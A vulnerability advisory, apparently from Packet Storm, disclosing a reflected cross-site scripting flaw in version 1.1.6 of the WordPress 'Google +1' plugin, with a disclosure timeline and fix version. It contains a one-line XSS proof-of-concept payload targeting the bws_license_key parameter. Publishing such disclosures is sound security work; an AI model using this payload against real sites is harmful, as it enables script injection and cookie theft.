WordPress Google +1 1.1.6 Cross Site Scripting

Type packetstorm
Reporter Madhu Akula
Modified 2015-12-17T00:00:00


                                            `Plugin Name : Google +1  
Effected Version : 1.1.6 (and most probably lower version's if any)  
Vulnerability : A3-Cross-Site Scripting (XSS)  
Identified by : Madhu Akula  
Technical Details  
Minimum Level of Access Required : Administrator  
PoC - (Proof of Concept) :  
In the following field put the payload as below  
bws_license_key =”><img src=x onerror=prompt(document.cookie);>  
Vulnerable Parameter : bws_license_key  
Type of XSS : Reflected  
Fixed in : 1.1.7  
Disclosure Timeline  
Vendor Contacted : 2014-08-04  
Plugin Status : Updated on 2014-08-07  
Public Disclosure : October 3, 2015  
CVE Number : Not assigned yet  
Plugin Description :  
Google +1 allows you to see how many times your page has been liked on Google Search Engine as well as who has liked the article. It comes with the button which provides a count. Google +1 plugin is a perfect solution for the people interested in the promotion of their website.